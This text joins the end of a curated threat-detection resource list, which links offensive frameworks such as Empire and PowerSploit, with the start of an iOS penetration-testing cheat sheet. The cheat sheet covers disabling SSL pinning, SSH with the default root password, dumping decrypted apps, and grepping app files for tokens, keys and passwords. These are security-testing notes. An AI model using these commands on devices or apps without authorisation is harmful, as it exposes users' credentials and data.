- [DNS is NOT Boring](https://www.first.org/resources/papers/conf2017/DNS-is-NOT-Boring-Using-DNS-to-Expose-and-Thwart-Attacks.pdf) - Using DNS to Expose and Thwart Attacks
- [Actionable Detects](https://prezi.com/vejpnxkm85ih/actionable-detects-dns-keynote/) - Blue Team Tactics
### Fingerprinting
- [JA3: SSL/TLS Client Fingerprinting for Malware Detection](https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41)
- [TLS Fingerprinting with JA3 and JA3S](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967)
- [HASSH - a profiling method for SSH Clients and Servers](https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c)
- [HASSH @BSides Canberra 2019 - Slides](https://github.com/benjeems/Presentations/blob/master/BSides%202019%20%20-%20HASSH%20-%20a%20Profiling%20Method%20for%20SSH%20Clients%20and%20Servers.pdf)
- [Finding Evil on the Network Using JA3/S and HASSH](https://engineering.salesforce.com/finding-evil-on-the-network-using-ja3-s-and-hassh-11431a8606e4)
- [RDP Fingerprinting - Profiling RDP Clients with JA3 and RDFP](https://medium.com/@0x4d31/rdp-client-fingerprinting-9e7ac219f7f4)
- [Effective TLS Fingerprinting Beyond JA3](https://www.ntop.org/ndpi/effective-tls-fingerprinting-beyond-ja3/)
- [TLS Fingerprinting in the Real World](https://blogs.cisco.com/security/tls-fingerprinting-in-the-real-world)
- [HTTP Client Fingerprinting Using SSL Handshake Analysis](https://www.ssllabs.com/projects/client-fingerprinting/) (source code: [mod_sslhaf](https://github.com/ssllabs/sslhaf)
- [TLS fingerprinting - Smarter Defending & Stealthier Attacking](https://blog.squarelemon.com/tls-fingerprinting/)
- [JA3er](https://ja3er.com) - a DB of JA3 fingerprints
- [An Introduction to HTTP fingerprinting](https://www.net-square.com/httprint_paper.html)
- [TLS Fingerprints](https://tlsfingerprint.io/) collected from the University of Colorado Boulder campus network
- [The use of TLS in Censorship Circumvention](https://tlsfingerprint.io/static/frolov2019.pdf)
- [TLS Beyond the Browser: Combining End Host and Network Data to Understand Application Behavior](https://dl.acm.org/doi/pdf/10.1145/3355369.3355601)
- [HTTPS traffic analysis and client identification using passive SSL/TLS fingerprinting](https://link.springer.com/article/10.1186/s13635-016-0030-7)
- [Markov Chain Fingerprinting to Classify Encrypted Traffic](https://drakkar.imag.fr/IMG/pdf/1569811033.pdf)
- [HeadPrint: Detecting Anomalous Communications through Header-based Application Fingerprinting](https://www.conand.me/publications/bortolameotti-headprint-2020.pdf)
### Data Science
- [data_hacking](https://github.com/SuperCowPowers/data_hacking) - Examples of using IPython, Pandas, and Scikit Learn to get the most out of your security data.
- [Reverse engineering the analyst: building machine learning models for the SOC](https://www.mandiant.com/resources/blog/build-machine-learning-models-for-the-soc)
- [msticpy](https://github.com/microsoft/msticpy) - A library for InfoSec investigation and hunting in Jupyter Notebooks.
### Research Papers
- [Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains](https://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf)
- [The Diamond Model of Intrusion Analysis](http://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)
- [EXPOSURE: Finding Malicious Domains Using Passive DNS Analysis](https://www.cs.ucsb.edu/~chris/research/doc/ndss11_exposure.pdf)
- A Comprehensive Approach to Intrusion Detection Alert Correlation ([Paper](https://www.cs.ucsb.edu/~vigna/publications/2004_valeur_vigna_kruegel_kemmerer_TDSC_Correlation.pdf), [Dissertation](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.115.8310&rep=rep1&type=pdf))
- [On Botnets that use DNS for Command and Control](http://www.few.vu.nl/~herbertb/papers/feederbot_ec2nd11.pdf)
- [Intelligent, Automated Red Team Emulation](https://dl.acm.org/citation.cfm?id=2991111)
- [Machine Learning for Encrypted Malware Traffic Classification](https://dl.acm.org/doi/pdf/10.1145/3097983.3098163)
### Blogs
- [David Bianco's Blog](https://detect-respond.blogspot.com)
- [DFIR and Threat Hunting Blog](http://findingbad.blogspot.com)
- [CyberWardog's Blog](https://medium.com/@Cyb3rWard0g) ([old](https://cyberwardog.blogspot.com))
- [Chris Sanders' Blog](https://chrissanders.org)
- [Kolide Blog](https://blog.kolide.com/)
- [Anton Chuvakin](https://medium.com/anton-on-security)
- [Alexandre Teixeira](https://ateixei.medium.com)
### Related Awesome Lists
- [Awesome Kubernetes Threat Detection](https://github.com/jatrost/awesome-kubernetes-threat-detection)
- [Awesome Incident Response](https://github.com/meirwah/awesome-incident-response)
- [Awesome Forensics](https://github.com/cugu/awesome-forensics)
- [Awesome Honeypots](https://github.com/paralax/awesome-honeypots)
- [Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis)
- [Awesome YARA](https://github.com/InQuest/awesome-yara)
- [Awesome Security](https://github.com/sbilly/awesome-security)
- [Awesome Cloud Security](https://github.com/4ndersonLin/awesome-cloud-security)
## Podcasts
- Google [Cloud Security Podcast](https://cloud.withgoogle.com/cloudsecurity/podcast/) by Anton Chuvakin and Timothy Peacock.
- [Detection: Challenging Paradigms](https://www.dcppodcast.com/all-episodes) by SpecterOps
- [Darknet Diaries](https://darknetdiaries.com) by Andy Greenberg - True stories from the dark side of the Internet.
- [Risky Business](https://risky.biz) by Patrick Gray
## Newsletters
- [Detection Engineering Weekly](https://www.detectionengineering.net) by Zack 'techy' Allen
- [This Week in 4n6](https://thisweekin4n6.com) - A weekly roundup of digital forensics and incident response news.
## Videos
- [SANS Threat Hunting and IR Summit 2017](https://www.youtube.com/playlist?list=PLfouvuAjspTr95R60Kt7ZcoerR6tYoCLA)
- [SANS Threat Hunting and IR Summit 2016](https://www.youtube.com/playlist?list=PLfouvuAjspTokaa-LdUHqszL-KACkCsKT)
- [BotConf 2016 - Advanced Incident Detection and Threat Hunting using Sysmon and Splunk](https://www.youtube.com/watch?v=vv_VXntQTpE)
- [BSidesCharm 2017 - Detecting the Elusive: Active Directory Threat Hunting](https://www.youtube.com/watch?v=9Uo7V9OUaUw)
- [BSidesAugusta 2017 - Machine Learning Fueled Cyber Threat Hunting](https://www.youtube.com/watch?v=c-c-IQ5pFXw)
- [Toppling the Stack: Outlier Detection for Threat Hunters](https://www.youtube.com/watch?v=7q7GGg-Ws9s)
- [BSidesPhilly 2017 - Threat Hunting: Defining the Process While Circumventing Corporate Obstacles](https://www.youtube.com/watch?v=bDdsGBCUa8I)
- [Black Hat 2017 - Revoke-Obfuscation: PowerShell Obfuscation Detection (And Evasion) Using Science](https://www.youtube.com/watch?v=x97ejtv56xw)
- [DefCon 25 - MS Just Gave the Blue Team Tactical Nukes](https://www.youtube.com/watch?v=LUtluTaEAUU)
- [BSides London 2017 - Hunt or be Hunted](https://www.youtube.com/watch?v=19H7j_sZcKc)
- [SecurityOnion 2017 - Pivoting Effectively to Catch More Bad Guys](https://www.youtube.com/watch?v=_QVhMPGtIeU)
- [SkyDogCon 2016 - Hunting: Defense Against The Dark Arts](https://www.youtube.com/watch?v=mKxGulV2Z74)
- [BSidesAugusta 2017 - Don't Google 'PowerShell Hunting'](https://www.youtube.com/watch?v=1mfVPLPxKTc)
- [BSidesAugusta 2017 - Hunting Adversaries w Investigation Playbooks & OpenCNA](https://www.youtube.com/watch?v=8qM-DnmHNv8)
- [Visual Hunting with Linked Data](https://www.youtube.com/watch?v=98MrgfTFeMo)
- [RVAs3c - Pyramid of Pain: Intel-Driven Detection/Response to Increase Adversary's Cost](https://www.youtube.com/watch?v=zlAWbdSlhaQ)
- [BSidesLV 2016 - Hunting on the Endpoint w/ Powershell](https://www.youtube.com/watch?v=2MrrOxsJk_M)
- [Derbycon 2015 - Intrusion Hunting for the Masses A Practical Guide](https://www.youtube.com/watch?v=MUUseTJp3jM)
- [BSides DC 2016 - Practical Cyborgism: Getting Start with Machine Learning for Incident Detection](https://www.youtube.com/watch?v=2FvP7nwb2UE&feature=youtu.be)
- [SANS Webcast 2018 - What Event Logs? Part 1: Attacker Tricks to Remove Event Logs](https://www.youtube.com/watch?v=7JIftAw8wQY)
- [Profiling And Detecting All Things SSL With JA3](https://www.youtube.com/watch?v=oprPu7UIEuk)
- [ACoD 2019 - HASSH SSH Client/Server Profiling](https://www.youtube.com/watch?v=kG-kenOypLk)
- [QueryCon 2018](https://www.youtube.com/playlist?list=PLlSdCcsTOu5STvaoPlr-PJE-zbYmlAGrX) - An annual conference for the osquery open-source community ([querycon.io](https://querycon.io))
- [Visual Hunting with Linked Data Graphs](https://www.youtube.com/watch?v=EpK7MkWCh1I)
- [SecurityOnion Con 2018 - Introduction to Data Analysis](https://www.youtube.com/watch?v=A6hBoeSNJJw)
- [Insider Threats Detection at Airbus – AI up Against Data Leakage and Industrial Espionage](https://www.youtube.com/watch?v=E2rbyoCFNY4)
- [Cyber Security Investigations with Jupyter Notebooks](https://www.youtube.com/watch?v=bOOVxGnbKxI)
## Trainings
- [Applied Network Defense](https://www.networkdefense.co/courses/) courses by Chris Sanders
- Investigation theory, Practical threat hunting, Detection engineering with Sigma, etc.
- [Security Blue Team](https://securityblue.team/) (BTL1 and BTL2 certificates)
- [LetsDefend](https://letsdefend.io) - Hands-On SOC Analyst Training
- [TryHackMe](https://tryhackme.com) - Hands-on cyber security training through real-world scenarios.
- 13Cubed, [Investigating Windows Endpoints](https://training.13cubed.com/investigating-windows-endpoints) by Richard Davis
- [HackTheBox](https://academy.hackthebox.com/) - While not directly related to threat detection, the website features training modules on general security and offensive topics that can be beneficial for junior SOC analysts.
## Labs
- [DetectionLab](https://github.com/clong/DetectionLab/) - Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices.
- [Splunk Boss of the SOC](https://bots.splunk.com/) - Hands-on workshops and challenges to practice threat hunting using the BOTS and other datasets.
- [HELK](https://github.com/Cyb3rWard0g/HELK) - A Hunting ELK (Elasticsearch, Logstash, Kibana) with advanced analytic capabilities.
- [BlueTeam Lab](https://github.com/op7ic/BlueTeam.Lab) - A detection lab created with Terraform and Ansible in Azure.
- [attack_range](https://github.com/splunk/attack_range) - A tool that allows you to create vulnerable instrumented local or cloud environments to simulate attacks against and collect the data into Splunk.
## Twitter
- ["Awesome Detection" Twitter List](https://twitter.com/0x4d31/lists/awesome-detection) - Twitter accounts that tweet about threat detection, hunting and DFIR.
## Threat Simulation Tools
- [MITRE CALDERA](https://github.com/mitre/caldera) - An automated adversary emulation system that performs post-compromise adversarial behavior within Windows Enterprise networks.
- [APTSimulator](https://github.com/NextronSystems/APTSimulator) - A Windows Batch script that uses a set of tools and output files to make a system look as if it was compromised.
- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Small and highly portable detection tests mapped to the Mitre ATT&CK Framework.
- [Network Flight Simulator](https://github.com/alphasoc/flightsim) - flightsim is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility.
- [Metta](https://github.com/uber-common/metta) - A security preparedness tool to do adversarial simulation.
- [Red Team Automation (RTA)](https://github.com/endgameinc/RTA) - RTA provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft, modeled after MITRE ATT&CK.
- [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - Payload Generation Framework.
- [CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH) - Payload Generation for Adversary Simulations.
- [DumpsterFire](https://github.com/TryCatchHCF/DumpsterFire) - A modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events.
- [Empire](https://github.com/EmpireProject/Empire)([website](http://www.powershellempire.com)) - A PowerShell and Python post-exploitation agent.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/) - A PowerShell Post-Exploitation Framework.
- [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A Virtual Machine for Adversary Emulation and Threat Hunting. RedHunt aims to be a one stop shop for all your threat emulation and threat hunting needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment.
- [Infection Monkey](https://github.com/guardicore/monkey) - An open source Breach and Attack Simulation (BAS) tool that assesses the resiliency of private and public cloud environments to post-breach attacks and lateral movement.
- [Splunk Attack Range](https://github.com/splunk/attack_range) - A tool that allows you to create vulnerable instrumented local or cloud environments to simulate attacks against and collect the data into Splunk.
## Threat Simulation Resources
- [MITRE's Adversary Emulation Plans](https://attack.mitre.org/wiki/Adversary_Emulation_Plans)
- [Awesome Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) - A list of awesome red teaming resources
- [Red-Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) - Wiki to collect Red Team infrastructure hardening resources.
- [Payload Generation using SharpShooter](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/)
- [SpecterOps Blog](https://posts.specterops.io/)
- [Threat Hunting](https://posts.specterops.io/tagged/threat-hunting)
- [Advanced Threat Tactics](https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/) - A free course on red team operations and adversary simulations.
- [Signal the ATT&CK: Part 1](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/signal-att-and-ck-part-1.html) - Modelling APT32 in CALDERA
- [Red Teaming/Adversary Simulation Toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit) - A collection of open source and commercial tools that aid in red team operations.
- [C2 Matrix](https://www.thec2matrix.com/matrix) ([Google Sheets](https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc))
- [adversary_emulation_library](https://github.com/center-for-threat-informed-defense/adversary_emulation_library) - An open library of adversary emulation plans designed to empower organizations to test their defenses based on real-world TTPs.
## Contribute
Contributions welcome! Read the [contribution guidelines](CONTRIBUTING.md) first.
## License
[](http://creativecommons.org/publicdomain/zero/1.0)
To the extent possible under law, Adel "0x4D31" Karimi has waived all copyright and
related or neighboring rights to this work.
|
# iOS Penetration Testing Cheat Sheet
This is more of a checklist for myself. May contain useful tips and tricks.
Everything was tested on Kali Linux v2023.1 (64-bit) and iPhone 7 with iOS v13.4.1 and unc0ver jailbreak v8.0.2.
Check [3uTools](https://www.3u.com) if you want to jailbreak your iOS device. I have no [liability](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/LICENSE) over your actions.
For help with any of the tools type `<tool_name> [-h | -hh | --help]` or `man <tool_name>`.
If you didn't already, read [OWASP MSTG](https://github.com/OWASP/owasp-mastg) and [OWASP MASVS](https://github.com/OWASP/owasp-masvs). You can download OWASP MSTG checklist from [here](https://github.com/OWASP/owasp-mastg/releases).
Highly recommend reading [Hacking iOS Applications](https://web.securityinnovation.com/hubfs/iOS%20Hacking%20Guide.pdf) and [HackTricks - iOS Pentesting](https://book.hacktricks.xyz/mobile-apps-pentesting/ios-pentesting).
Websites that you should use while writing the report:
* [cwe.mitre.org/data](https://cwe.mitre.org/data)
* [owasp.org/projects](https://owasp.org/projects)
* [owasp.org/www-project-mobile-top-10](https://owasp.org/www-project-mobile-top-10)
* [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html)
* [nvd.nist.gov/vuln-metrics/cvss/v3-calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
* [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository)
* [attack.mitre.org](https://attack.mitre.org)
My other cheat sheets:
* [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet)
* [Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/penetration-testing-cheat-sheet)
* [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet)
Future plans:
* install Burp Proxy and ZAP certificates,
* test widgets, push notifications, app extensions, and Firebase,
* deeplink hijacking,
* WebView attacks,
* disassemble, reverse engineer, and resign an IPA,
* future downgrades using SHSH BLOBS.
## Table of Contents
**0. [Install Tools](#0-install-tools)**
* [Cydia Sources and Tools](#cydia-sources-and-tools)
* [SSL Kill Switch 2](#ssl-kill-switch-2)
* [Kali Linux Tools](#kali-linux-tools)
* [Mobile Security Framework (MobSF)](#mobile-security-framework-mobsf)
**1. [Basics](#1-basics)**
* [Install/Uninstall an IPA](#installuninstall-an-ipa)
* [SSH to Your iOS Device](#ssh-to-your-ios-device)
* [Download/Upload Files and Directories](#downloadupload-files-and-directories)
**2. [Inspect an IPA](#2-inspect-an-ipa)**
* [Pull a Decrypted IPA](#pull-a-decrypted-ipa)
* [Binary](#binary)
* [Info.plist](#infoplist)
* [AnyTrans](#anytrans)
**3. [Search for Files and Directories](#3-search-for-files-and-directories)**
* [NSUserDefaults](#nsuserdefaults)
* [Cache.db](#cachedb)
**4. [Inspect Files](#4-inspect-files)**
* [Single File](#single-file)
* [Multiple Files](#multiple-files)
* [SQLite 3](#sqlite-3)
* [Property Lister](#property-lister)
* [Nuclei](#nuclei)
* [Backups](#backups)
**5. [Deeplinks](#5-deeplinks)**
**6. [Frida](#6-frida)**
* [Frida Scripts](#frida-scripts)
**7. [Objection](#7-objection)**
* [Bypasses](#bypasses)
**8. [Repackage an IPA](#8-repackage-an-ipa)**
**9. [Miscellaneous](#9-miscellaneous)**
* [Monitor the System Log](#monitor-the-system-log)
* [Monitor File Changes](#monitor-file-changes)
* [Dump the Pasteboard](#dump-the-pasteboard)
* [Get the Provisioning Profile](#get-the-provisioning-profile)
**10. [Tips and Security Best Practices](#10-tips-and-security-best-practices)**
**11. [Useful Websites and Tools](#11-useful-websites-and-tools)**
## 0. Install Tools
### Cydia Sources and Tools
Add the following sources to Cydia:
* [build.frida.re](https://build.frida.re)
* [cydia.akemi.ai](https://cydia.akemi.ai)
* [repo.co.kr](https://repo.co.kr)
* [havoc.app](https://havoc.app)
* [julioverne.github.io](https://julioverne.github.io)
Install required tools on your iOS device using Cydia:
* A-Bypass
* AppSync Unified
* Cycript
* Cydia Substrate
* Debian Packager
* Frida \([fix the v16+ installation issue](https://github.com/frida/frida/issues/2355#issuecomment-1386757290)\)
* nano
* PreferenceLoader
* ReProvision Reborn
* SSL Kill Switch 2 (iOS 13)
* SQLite 3.x
* wget
* zip
### SSL Kill Switch 2
The following project is the original SSL Kill Switch 2 project which is discontinued and not supported on devices with iOS v13 and grater. To download the most up-to-date project, check the [julioverne.github.io](https://julioverne.github.io) repository in Cydia.
[SSH](#ssh-to-your-ios-device) to your iOS device, then, download and install [SSL Kill Switch 2](https://github.com/nabla-c0d3/ssl-kill-switch2/releases):
```fundamental
wget https://github.com/nabla-c0d3/ssl-kill-switch2/releases/download/0.14/com.nablac0d3.sslkillswitch2_0.14.deb
dpkg -i com.nablac0d3.sslkillswitch2_0.14.deb
killall -HUP SpringBoard
```
Uninstall SSL Kill Switch 2:
```fundamental
dpkg -r --force-all com.nablac0d3.sslkillswitch2
```
### Kali Linux Tools
Install required tools on your Kali Linux:
```fundamental
apt-get -y install docker.io
systemctl start docker
apt-get -y install ideviceinstaller libimobiledevice-utils libplist-utils nuclei radare2 sqlite3 sqlitebrowser xmlstarlet
pip3 install frida-tools objection property-lister
```
More information about my tool can be found at [/ivan-sincek/property-lister](https://github.com/ivan-sincek/property-lister).
Make sure that Frida and Objection are always up to date:
```fundamental
pip3 install --upgrade frida-tools objection
```
### Mobile Security Framework (MobSF)
Install:
```fundamental
docker pull opensecurity/mobile-security-framework-mobsf
```
Run:
```fundamental
docker run -it --rm --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf
```
Navigate to `http://localhost:8000` using your preferred web browser.
Uninstall:
```fundamental
docker image rm opensecurity/mobile-security-framework-mobsf
```
## 1. Basics
### Install/Uninstall an IPA
Install an IPA:
```fundamental
ideviceinstaller -i someapp.ipa
```
Uninstall an IPA:
```fundamental
ideviceinstaller -U com.someapp.dev
```
---
Install an IPA using [3uTools](https://www.3u.com) desktop app. Jailbreak is required.
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/3uTools_sideloading.jpg" alt="Sideloading an IPA using 3uTools"></p>
<p align="center">Figure 1 - Sideloading an IPA using 3uTools</p>
---
On your Kali Linux, start a local web server, and put an IPA in the web root directory (e.g. `somedir`):
```fundamental
mkdir somedir
python3 -m http.server 9000 --directory somedir
```
On your iOS device, download the IPA, long press on it, choose "Share", and install it using [ReProvision Reborn](https://havoc.app/package/rpr) iOS app. Jailbreak is required.
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/ReProvision_Reborn_sideloading.jpg" alt="Sideloading an IPA using ReProvision Reborn" height="600em"></p>
<p align="center">Figure 2 - Sideloading an IPA using ReProvision Reborn</p>
### SSH to Your iOS Device
```fundamental
ssh [email protected]
```
Default password is `alpine`.
### Download/Upload Files and Directories
Tilde `~` is short for the root directory.
Download a file or directory from your iOS device:
```fundamental
scp [email protected]:~/somefile.txt ./
scp -r [email protected]:~/somedir ./
```
Upload a file or directory to your iOS device:
```fundamental
scp somefile.txt [email protected]:~/
scp -r somedir [email protected]:~/
```
Use `nano` to edit files directly on your iOS device.
## 2. Inspect an IPA
### Pull a Decrypted IPA
Pull a decrypted IPA from your iOS device:
```bash
git clone https://github.com/AloneMonkey/frida-ios-dump && cd frida-ios-dump && pip3 install -r requirements.txt
python3 dump.py -o decrypted.ipa -P alpine -p 22 -H 192.168.1.10 com.someapp.dev
```
If you want to pull an encrypted IPA from your iOS device, see section [9. Repackage an IPA](#8-repackage-an-ipa) and [AnyTrans](#anytrans).
To unpack e.g. `someapp.ipa` or `decrypted.ipa` (preferred), run:
```fundamental
unzip decrypted.ipa
```
You should now see the unpacked `Payload` directory.
### Binary
Navigate to `/Payload/someapp.app/` directory. There, you will find a binary which have the same name and no file type (i.e. `someapp`).
Search the binary for specific keywords:
```bash
rabin2 -zzzqq someapp | grep -Pi 'keyword'
rabin2 -zzzqq someapp | grep -Pi 'hasOnlySecureContent|javaScriptEnabled|UIWebView|WKWebView'
```
WebViews can sometimes be very subtle, e.g. they could be hidden as a link to terms of agreement, privacy policy, about the software, referral, etc.
Search the binary for endpoints, deeplinks, sensitive data, comments, etc. For more examples, see section [4. Inspect Files](#4-inspect-files).
Search the binary for weak hash algorithms, insecure random functions, insecure memory allocation functions, etc. For the best results, use [MobSF](#mobile-security-framework-mobsf).
---
Download the latest [AppInfoScanner](https://github.com/kelvinBen/AppInfoScanner/releases), install the requirements, and then extract and resolve endpoints from the binary:
```fundamental
pip3 install -r requirements.txt
python3 app.py ios -i someapp
```
### Info.plist
Navigate to `/Payload/someapp.app/` directory. There, you will find a property list file with the name `Info.plist`.
Extract URL schemes from the property list file:
```bash
xmlstarlet sel -t -v 'plist/dict/array/dict[key = "CFBundleURLSchemes"]/array/string' -nl Info.plist | sort -uf | tee url_schemes.txt
```
Search the property list file for endpoints, sensitive data \[in Base64 encoding\], etc. For more examples, see section [4. Inspect Files](#4-inspect-files).
### AnyTrans
Export an IPA using [AnyTrans](https://www.imobie.com/anytrans) desktop application. Excellent for iOS backups too.
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/anytrans_download.png" alt="Download an IPA using AnyTrans"></p>
<p align="center">Figure 3 - Download an IPA using AnyTrans</p>
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/anytrans_export.png" alt="Export an IPA using AnyTrans"></p>
<p align="center">Figure 4 - Export an IPA using AnyTrans</p>
## 3. Search for Files and Directories
Search for files and directories from the root directory:
```bash
find / -iname '*keyword*'
```
Search for files and directories in the app specific directories (run `env` in [Objection](#7-objection)):
```bash
cd /private/var/containers/Bundle/Application/XXX...XXX/
cd /var/mobile/Containers/Data/Application/YYY...YYY/
```
If you want to download a whole directory from your iOS device, see section [Download/Upload Files and Directories](#downloadupload-files-and-directories).
I preffer downloading the app specific directories, and then doing the [file inspection](#4-inspect-files) on my Kali Linux.
Search for files and directories from the current directory:
```bash
find . -iname '*keyword*'
for keyword in 'access' 'account' 'admin' 'card' 'cer' 'conf' 'cred' 'customer' 'email' 'history' 'info' 'json' 'jwt' 'key' 'kyc' 'log' 'otp' 'pass' 'pem' 'pin' 'plist' 'priv' 'refresh' 'salt' 'secret' 'seed' 'setting' 'sign' 'sql' 'token' 'transaction' 'transfer' 'tar' 'txt' 'user' 'zip' 'xml'; do find . -iname "*${keyword}*"; done
```
### NSUserDefaults
Search for files and directories in [NSUserDefaults](https://developer.apple.com/documentation/foundation/nsuserdefaults) insecure storage directory:
```bash
cd /var/mobile/Containers/Data/Application/YYY...YYY/Library/Preferences/
```
Search for sensitive data in property list files inside NSUserDefaults insecure storage directory:
```fundamental
scp [email protected]:/var/mobile/Containers/Data/Application/YYY...YYY/Library/Preferences/com.someapp.dev.plist ./
plistutil -f xml -i com.someapp.dev.plist
```
### Cache.db
By default, NSURLSession class stores data such as HTTP requests and responses in Cache.db unencrypted database file.
Search for sensitive data in property list files inside Cache.db unencrypted database file:
```fundamental
scp [email protected]:/var/mobile/Containers/Data/Application/YYY...YYY/Library/Caches/com.someapp.dev/Cache.db ./
property-lister -db Cache.db -o plists
```
Cache.db is unencrypted and backed up by default, and as such, should not contain any sensitive data after user logs out - it should be cleared by calling [removeAllCachedResponses\(\)](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses).
## 4. Inspect Files
Inspect memory dumps, binaries, files inside [an unpacked IPA](#pull-a-decrypted-ipa), files inside the app specific directories, or any other files.
After you finish testing \[and logout\], don't forget to [download](#downloadupload-files-and-directories) the app specific directories and inspect all the files inside. Inspect what is new and what still persists after logout.
**Don't forget to extract Base64 strings from property list files as you might find sensitive data.**
There will be some false positive results since the regular expressions are not perfect. I prefer to use `rabin2` over `strings` because it can read Unicode characters.
On your iOS device, try to modify app's files to test the filesystem checksum validation, i.e. to test the file integrity validation.
### Single File
Search for hardcoded sensitive data:
```bash
rabin2 -zzzqq somefile | grep -Pi '[^\w\d]+(basic|bearer)\ .+'
rabin2 -zzzqq somefile | grep -Pi '(access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)\w*(?:\"\ *\:|\ *\=).+'
rabin2 -zzzqq somefile | grep -Pi '([^\w\d]+(to(\_|\ )do|todo|note)\ |\/\/|\/\*|\*\/).+'
```
Extract URLs, deeplinks, IPs, etc.:
```bash
rabin2 -zzzqq somefile | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | sort -uf | tee urls.txt
rabin2 -zzzqq somefile | grep -Po '(\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt
```
Extract all strings and decode Base64 strings:
```bash
rabin2 -zzzqq somefile | sort -uf > strings.txt
grep -Po '(?:([a-zA-Z0-9\+\/]){4})*(?:(?1){4}|(?1){3}\=|(?1){2}\=\=)' strings.txt | sort -uf > base64.txt
for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt
```
### Multiple Files
Search for hardcoded sensitive data:
```bash
IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d]+(basic|bearer)\ .+'; done
IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '(access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)\w*(?:\"\ *\:|\ *\=).+'; done
IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '([^\w\d]+(to(\_|\ )do|todo|note)\ |\/\/|\/\*|\*\/).+'; done
```
Extract URLs, deeplinks, IPs, etc.:
```bash
IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | grep -Piv '\.(css|gif|jpeg|jpg|ogg|otf|png|svg|ttf|woff|woff2)' | sort -uf | tee urls.txt
IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '(\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt
```
Extract all strings and decode Base64 strings:
```bash
IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | sort -uf > strings.txt
grep -Po '(?:([a-zA-Z0-9\+\/]){4})*(?:(?1){4}|(?1){3}\=|(?1){2}\=\=)' strings.txt | sort -uf > base64.txt
for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt
```
### SQLite 3
Use [SCP](#downloadupload-files-and-directories) to download database files, and then open them using [DB Browser for SQLite](https://sqlitebrowser.org).
To inspect the content, navigate to `Browse Data` tab, expand `Table` dropdown menu, and select the desired table.
<p align="center"><img src="https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/img/sqlite.png" alt="SQLite"></p>
<p align="center">Figure 5 - DB Browser for SQLite</p>
---
